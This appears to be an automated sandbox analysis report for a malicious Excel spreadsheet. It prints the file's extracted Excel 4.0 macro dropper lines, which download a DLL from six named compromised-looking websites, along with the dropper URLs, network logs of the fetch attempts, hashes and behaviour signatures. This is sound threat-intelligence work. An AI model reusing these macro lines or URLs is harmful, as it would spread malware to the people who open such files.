Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

8

60b394d731...fb.xls

windows7-x64

10

60b394d731...fb.xls

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 22:53 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    60b394d7311f20c315f9deaf5f7baf58eacfa87516e5c7d69ae7832986c5b6fb.xls

  • Size

    126KB

  • MD5

    e247aaa372031fc38e6ba1896ff475b0

  • SHA1

    c0c614584b737d95ac8d7aeea5f21825936a5351

  • SHA256

    60b394d7311f20c315f9deaf5f7baf58eacfa87516e5c7d69ae7832986c5b6fb

  • SHA512

    56fe7189a26896dc7c048b188f4dcce118c5b3b7919f5ac20dfb1c2e1a810020560a3880ba56938b4bf590b78238ab1431137d55390a22fc3d589f94e89cc5ba

  • SSDEEP

    3072:LsKpbdrHYrMue8q7QPX+5xtekEdi8/dgR3Syz+nzQIceCRlC9:QKpbdrHYrMue8q7QPX+5xtFEdi8/dgRc

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/", "..\fbd.dll")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://izytalab.com/includes/1mafAX0kOa/", "..\fbd.dll")
3
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://pcsolutionss.com/zSlT4HR92TiOpw5NM/", "..\fbd.dll")
4
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/", "..\fbd.dll")
5
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://wpl28.realtyna.com/wp-content/0b0ny5cPM/", "..\fbd.dll")
6
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://www.efcballjoint.com/Template/AxEZPOfAa9/", "..\fbd.dll")
URLs
xlm40.dropper

http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
xlm40.dropper

http://izytalab.com/includes/1mafAX0kOa/
xlm40.dropper

https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
xlm40.dropper

http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
xlm40.dropper

https://wpl28.realtyna.com/wp-content/0b0ny5cPM/
xlm40.dropper

http://www.efcballjoint.com/Template/AxEZPOfAa9/

Signatures

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\60b394d7311f20c315f9deaf5f7baf58eacfa87516e5c7d69ae7832986c5b6fb.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3736

Network

  • flag-us
    DNS
    18.89.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.89.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    138.136.73.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    138.136.73.23.in-addr.arpa
    IN PTR
    Response
    138.136.73.23.in-addr.arpa
    IN PTR
    a23-73-136-138deploystaticakamaitechnologiescom
  • flag-us
    DNS
    roaming.officeapps.live.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    roaming.officeapps.live.com
    IN A
    Response
    roaming.officeapps.live.com
    IN CNAME
    prod.roaming1.live.com.akadns.net
    prod.roaming1.live.com.akadns.net
    IN CNAME
    eur.roaming1.live.com.akadns.net
    eur.roaming1.live.com.akadns.net
    IN CNAME
    neu-azsc-000.roaming.officeapps.live.com
    neu-azsc-000.roaming.officeapps.live.com
    IN CNAME
    osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com
    osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com
    IN A
    52.109.76.243
  • flag-ie
    POST
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    EXCEL.EXE
    Remote address:
    52.109.76.243:443
    Request
    POST /rs/RoamingSoapService.svc HTTP/1.1
    Cache-Control: no-cache
    Connection: Keep-Alive
    Pragma: no-cache
    Content-Type: text/xml; charset=utf-8
    User-Agent: MS-WebServices/1.0
    SOAPAction: "http://tempuri.org/IRoamingSettingsService/GetConfig"
    Content-Length: 511
    Host: roaming.officeapps.live.com
    Response
    HTTP/1.1 200 OK
    Cache-Control: private
    Content-Type: text/xml; charset=utf-8
    Server: Microsoft-IIS/10.0
    X-OfficeFE: RoamingFE_IN_153
    X-OfficeVersion: 16.0.18311.30577
    X-OfficeCluster: neu-000.roaming.officeapps.live.com
    Content-Security-Policy-Report-Only: script-src 'nonce-7w7kMs70eh178Ou4Q45DbpJFzD4Kl38Vo2VrB0iz/kXdkFXdq5rEMBrkzQ8RVhG3Q7Yu8B0iXMz8TSp2E/TOorEUsIq5ehFMWNiz/Di7FLmzTyLU+ld/ZT2bG/qCEzkHwwNRLctzaRLFEx4wsZUmIROBUviOpflSKWs9rA+wLgI=' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https:; base-uri 'self'; object-src 'none'; require-trusted-types-for 'script'; report-uri https://csp.microsoft.com/report/OfficeIce-OfficeRoaming-Prod
    X-CorrelationId: 79f9ea39-5446-47e2-b7f4-7bd4c61bf9e7
    X-Powered-By: ASP.NET
    Date: Wed, 20 Nov 2024 22:53:12 GMT
    Content-Length: 654
  • flag-us
    DNS
    med.devsrm.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    med.devsrm.com
    IN A
    Response
    med.devsrm.com
    IN A
    143.95.229.88
  • flag-us
    GET
    http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
    EXCEL.EXE
    Remote address:
    143.95.229.88:80
    Request
    GET /wp-content/gtOOTHi3zkUbn8U6/ HTTP/1.1
    Accept: */*
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: med.devsrm.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 404 Not Found
    Date: Wed, 20 Nov 2024 22:53:13 GMT
    Server: Apache
    Vary: accept,content-type,Accept-Encoding
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    Link: <http://aleksasphotoblog.de/wp-json/>; rel="https://api.w.org/"
    Upgrade: h2,h2c
    Connection: Upgrade, Keep-Alive
    Content-Encoding: gzip
    Keep-Alive: timeout=5, max=75
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    76.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    76.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    243.76.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    243.76.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    izytalab.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    izytalab.com
    IN A
    Response
  • flag-us
    DNS
    pcsolutionss.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    pcsolutionss.com
    IN A
    Response
    pcsolutionss.com
    IN A
    204.15.133.228
  • flag-us
    GET
    https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
    EXCEL.EXE
    Remote address:
    204.15.133.228:443
    Request
    GET /zSlT4HR92TiOpw5NM/ HTTP/1.1
    Accept: */*
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: pcsolutionss.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 404 Not Found
    Date: Wed, 20 Nov 2024 22:53:15 GMT
    Server: Apache
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.229.95.143.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.229.95.143.in-addr.arpa
    IN PTR
    Response
    88.229.95.143.in-addr.arpa
    IN PTR
    ip-143-95-229-88iplocal
  • flag-us
    DNS
    228.133.15.204.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.133.15.204.in-addr.arpa
    IN PTR
    Response
    228.133.15.204.in-addr.arpa
    IN PTR
    server1 ivpcsolutionscom
  • flag-us
    DNS
    23.149.64.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    23.149.64.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    www.doctorcasenave.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.doctorcasenave.com
    IN A
    Response
    www.doctorcasenave.com
    IN A
    104.21.44.190
    www.doctorcasenave.com
    IN A
    172.67.203.60
  • flag-us
    GET
    http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    EXCEL.EXE
    Remote address:
    104.21.44.190:80
    Request
    GET /wp-content/O2Z1HMebIXiHYBBS/ HTTP/1.1
    Accept: */*
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: www.doctorcasenave.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Date: Wed, 20 Nov 2024 22:53:15 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    X-Redirect-By: WordPress
    Location: http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6k91ZKnGKvzzGOSYuMX%2FP4YccYFfW6ar%2FgYzYstecAfdsveoK514xff2pXyoMnk3WAy%2FlYqJTIALV%2BGmX5H%2FwZgiGGmDckvE5g9YYXKkWF6dkffh%2B0OKg27MVjYS0p9OTG0XF%2BxYd6xK"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8e5c03dc1e907732-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=75895&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=330&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
  • flag-us
    DNS
    doctorcasenave.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    doctorcasenave.com
    IN A
    Response
    doctorcasenave.com
    IN A
    104.21.44.190
    doctorcasenave.com
    IN A
    172.67.203.60
  • flag-us
    GET
    http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    EXCEL.EXE
    Remote address:
    104.21.44.190:80
    Request
    GET /wp-content/O2Z1HMebIXiHYBBS/ HTTP/1.1
    Accept: */*
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Connection: Keep-Alive
    Host: doctorcasenave.com
    Response
    HTTP/1.1 404 Not Found
    Date: Wed, 20 Nov 2024 22:53:16 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    Link: <http://doctorcasenave.com/wp-json/>; rel="https://api.w.org/"
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bAhZALN4cpuwUWcwl0Mm4Esb47wUyh6uLkoxHyVbIPx0rnrD%2B5Fzwd084HNX3jDLnRpcbM71R6bUH7wW20lS2PqvkDX9B0XV1t0zqi0hAjosTG0a6bDOSa1WLbCpfogXCx2f1sQ%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8e5c03dfae4763e0-LHR
    Content-Encoding: gzip
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=66032&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=326&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
  • flag-us
    DNS
    190.44.21.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    190.44.21.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    wpl28.realtyna.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    wpl28.realtyna.com
    IN A
    Response
    wpl28.realtyna.com
    IN A
    54.173.39.27
  • flag-us
    GET
    https://wpl28.realtyna.com/wp-content/0b0ny5cPM/
    EXCEL.EXE
    Remote address:
    54.173.39.27:443
    Request
    GET /wp-content/0b0ny5cPM/ HTTP/2.0
    host: wpl28.realtyna.com
    accept: */*
    ua-cpu: AMD64
    accept-encoding: gzip, deflate
    user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Response
    HTTP/2.0 301
    location: https://wpl28.realtyna.net/wp-content/0b0ny5cPM/
    content-length: 256
    content-type: text/html; charset=iso-8859-1
    date: Wed, 20 Nov 2024 22:53:17 GMT
    server: Apache
  • flag-us
    DNS
    27.39.173.54.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    27.39.173.54.in-addr.arpa
    IN PTR
    Response
    27.39.173.54.in-addr.arpa
    IN PTR
    realtynacom
  • flag-us
    DNS
    168.245.100.95.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    168.245.100.95.in-addr.arpa
    IN PTR
    Response
    168.245.100.95.in-addr.arpa
    IN PTR
    a95-100-245-168deploystaticakamaitechnologiescom
  • flag-us
    DNS
    wpl28.realtyna.net
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    wpl28.realtyna.net
    IN A
    Response
    wpl28.realtyna.net
    IN A
    54.209.108.234
  • flag-us
    GET
    https://wpl28.realtyna.net/wp-content/0b0ny5cPM/
    EXCEL.EXE
    Remote address:
    54.209.108.234:443
    Request
    GET /wp-content/0b0ny5cPM/ HTTP/2.0
    host: wpl28.realtyna.net
    accept: */*
    ua-cpu: AMD64
    accept-encoding: gzip, deflate
    user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Response
    HTTP/2.0 500
    content-length: 672
    content-type: text/html; charset=iso-8859-1
    date: Wed, 20 Nov 2024 22:53:18 GMT
    server: Apache
  • flag-us
    DNS
    www.efcballjoint.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.efcballjoint.com
    IN A
    Response
  • flag-us
    DNS
    234.108.209.54.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    234.108.209.54.in-addr.arpa
    IN PTR
    Response
    234.108.209.54.in-addr.arpa
    IN PTR
    sunshinerealtynacom
  • flag-us
    DNS
    11.173.189.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    11.173.189.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    18.31.95.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.31.95.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    14.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    14.227.111.52.in-addr.arpa
    IN PTR
    Response
  • 52.109.76.243:443
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    tls, http
    EXCEL.EXE
    1.8kB
     8.2kB
     12
    11

    HTTP Request

    POST https://roaming.officeapps.live.com/rs/RoamingSoapService.svc

    HTTP Response

    200
  • 143.95.229.88:80
    http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
    http
    EXCEL.EXE
    1.6kB
     28.7kB
     27
    24

    HTTP Request

    GET http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/

    HTTP Response

    404
  • 204.15.133.228:443
    https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
    tls, http
    EXCEL.EXE
    1.3kB
     4.9kB
     14
    9

    HTTP Request

    GET https://pcsolutionss.com/zSlT4HR92TiOpw5NM/

    HTTP Response

    404
  • 104.21.44.190:80
    http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    http
    EXCEL.EXE
    606 B
     1.1kB
     6
    4

    HTTP Request

    GET http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/

    HTTP Response

    301
  • 104.21.44.190:80
    http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    http
    EXCEL.EXE
    740 B
     4.2kB
     9
    6

    HTTP Request

    GET http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/

    HTTP Response

    404
  • 54.173.39.27:443
    https://wpl28.realtyna.com/wp-content/0b0ny5cPM/
    tls, http2
    EXCEL.EXE
    1.4kB
     5.0kB
     18
    14

    HTTP Request

    GET https://wpl28.realtyna.com/wp-content/0b0ny5cPM/

    HTTP Response

    301
  • 54.209.108.234:443
    https://wpl28.realtyna.net/wp-content/0b0ny5cPM/
    tls, http2
    EXCEL.EXE
    1.4kB
     5.3kB
     18
    13

    HTTP Request

    GET https://wpl28.realtyna.net/wp-content/0b0ny5cPM/

    HTTP Response

    500
  • 8.8.8.8:53
    18.89.109.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    18.89.109.52.in-addr.arpa

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    138.136.73.23.in-addr.arpa
    dns
    72 B
     137 B
     1
    1

    DNS Request

    138.136.73.23.in-addr.arpa

  • 8.8.8.8:53
    roaming.officeapps.live.com
    dns
    EXCEL.EXE
    73 B
     248 B
     1
    1

    DNS Request

    roaming.officeapps.live.com

    DNS Response

    52.109.76.243

  • 8.8.8.8:53
    med.devsrm.com
    dns
    EXCEL.EXE
    60 B
     76 B
     1
    1

    DNS Request

    med.devsrm.com

    DNS Response

    143.95.229.88

  • 8.8.8.8:53
    76.32.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    76.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    243.76.109.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    243.76.109.52.in-addr.arpa

  • 8.8.8.8:53
    izytalab.com
    dns
    EXCEL.EXE
    58 B
     131 B
     1
    1

    DNS Request

    izytalab.com

  • 8.8.8.8:53
    pcsolutionss.com
    dns
    EXCEL.EXE
    62 B
     78 B
     1
    1

    DNS Request

    pcsolutionss.com

    DNS Response

    204.15.133.228

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    88.229.95.143.in-addr.arpa
    dns
    72 B
     110 B
     1
    1

    DNS Request

    88.229.95.143.in-addr.arpa

  • 8.8.8.8:53
    228.133.15.204.in-addr.arpa
    dns
    73 B
     112 B
     1
    1

    DNS Request

    228.133.15.204.in-addr.arpa

  • 8.8.8.8:53
    23.149.64.172.in-addr.arpa
    dns
    72 B
     134 B
     1
    1

    DNS Request

    23.149.64.172.in-addr.arpa

  • 8.8.8.8:53
    www.doctorcasenave.com
    dns
    EXCEL.EXE
    68 B
     100 B
     1
    1

    DNS Request

    www.doctorcasenave.com

    DNS Response

    104.21.44.190
    172.67.203.60

  • 8.8.8.8:53
    doctorcasenave.com
    dns
    EXCEL.EXE
    64 B
     96 B
     1
    1

    DNS Request

    doctorcasenave.com

    DNS Response

    104.21.44.190
    172.67.203.60

  • 8.8.8.8:53
    190.44.21.104.in-addr.arpa
    dns
    72 B
     134 B
     1
    1

    DNS Request

    190.44.21.104.in-addr.arpa

  • 8.8.8.8:53
    wpl28.realtyna.com
    dns
    EXCEL.EXE
    64 B
     80 B
     1
    1

    DNS Request

    wpl28.realtyna.com

    DNS Response

    54.173.39.27

  • 8.8.8.8:53
    27.39.173.54.in-addr.arpa
    dns
    71 B
     97 B
     1
    1

    DNS Request

    27.39.173.54.in-addr.arpa

  • 8.8.8.8:53
    168.245.100.95.in-addr.arpa
    dns
    73 B
     139 B
     1
    1

    DNS Request

    168.245.100.95.in-addr.arpa

  • 8.8.8.8:53
    wpl28.realtyna.net
    dns
    EXCEL.EXE
    64 B
     80 B
     1
    1

    DNS Request

    wpl28.realtyna.net

    DNS Response

    54.209.108.234

  • 8.8.8.8:53
    www.efcballjoint.com
    dns
    EXCEL.EXE
    66 B
     139 B
     1
    1

    DNS Request

    www.efcballjoint.com

  • 8.8.8.8:53
    234.108.209.54.in-addr.arpa
    dns
    73 B
     108 B
     1
    1

    DNS Request

    234.108.209.54.in-addr.arpa

  • 8.8.8.8:53
    11.173.189.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    11.173.189.20.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    18.31.95.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    18.31.95.13.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
     160 B
     1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    14.227.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    14.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
    Filesize

    1KB

    MD5

    5fefc3406041e81df3fa989c2b094f51

    SHA1

    b52cb6d7eaa1c2ad93a4fd0e08b73f390de4226e

    SHA256

    02d70c67a25a2c417c075656f79a6f2acb9ad6ec977d82b031067e543cd26cb2

    SHA512

    e04f466261a9ad203699c74a84faea806885d4011ab6728579c3e358d984ba3f994061b103f3c323d87367927e4814dcec6424c555a04054b542b81caaa03582

    Download Submit

  • memory/3736-12-0x00007FFB1ED00000-0x00007FFB1ED10000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-6-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-5-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-4-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-2-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-7-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-0-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-10-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-9-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-11-0x00007FFB1ED00000-0x00007FFB1ED10000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3736-1-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3736-8-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-17-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-15-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-16-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-18-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-14-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-13-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-38-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-39-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3736-40-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-41-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-42-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/3736-3-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

    Filesize

    64KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.